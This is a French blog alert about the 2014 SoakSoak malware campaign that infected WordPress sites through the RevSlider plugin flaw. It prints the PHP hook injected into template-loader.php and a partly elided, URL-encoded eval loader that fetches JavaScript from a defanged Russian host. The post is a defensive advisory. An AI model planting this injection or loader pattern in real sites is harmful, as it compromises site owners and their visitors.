Alerte au Virus SoakSoak! Selon le site internet Securi.net, plus de 100.000 sites ineternet wordpress seraient infectés par un virus nommé SOAKSOAK.
Le site cité rapporte que ce dimanche dernier (14 décembre 2014), Google a ajouté dans la blacklist (liste noire), plus de 11.000 domaines touchés par la propagation du logiciel malveillant SoaSoak, provenant du domaine russe soaksoak.ru.
Cette alerte au virus Soaksoak qui a certainement commencé dimanche n’est surement pas à sa période d’épuisement.
Une analyse préliminaire du Securi.net montre qu’il s’agit d’un impact de l’ordre de plus de 100.000 blogs tournant spécifiquement sous le CMS WordPress. Cette analyse montre une corrélation avec la vulnérabilité du plugin Revslider, vulnérabilité déjà signalée il y a quelques mois.
Comment travaille ce virus SoakSoak?
En ayant accès à votre site, votre ordinateur, ce virus modifie template-loader.php (wp-includes/template-loader.php) en insérant ceci:
<?php
function FuncQueueObject()
{
wp_enqueue_script("swfobject");
}
add_action("wp_enqueue_scripts", 'FuncQueueObject');
Cette fonction permet de charger wp-includes/js/swobjet.js sur toutes les pages consultées sur le/les sites comprenant le malware:
eval(decodeURIComponent
("%28%0D%0A%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%7B%0D%..72%69%70%74%2E%69%64%3D%27%78%78%79%79%7A%7A%5F%70%65%74%75%73%68%6F%6B%27%3B%0D%0A%09%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0D%0A%7D%28%29%0D%0A%29%3B"));
Une fois ce malware décodé, ce dernier charge un malware javascript du domaine russe Soaksoak.ru (ne pas poursuive votre navigation sur ce site!), le fichier spécifique chargé est:
hxxp://soaksoak.ru/xteas/code
Que vous utilisiez WordPress ou pas, vous pouvez vous rassurer de cette alerte au virus soaksoak en analysant gratuitement votre site internet ou blog en utilisant ce scanner.
Vous pouvez aussi renforcer la sécurité de votre site wordpress en suivant ces règles de sécurité.
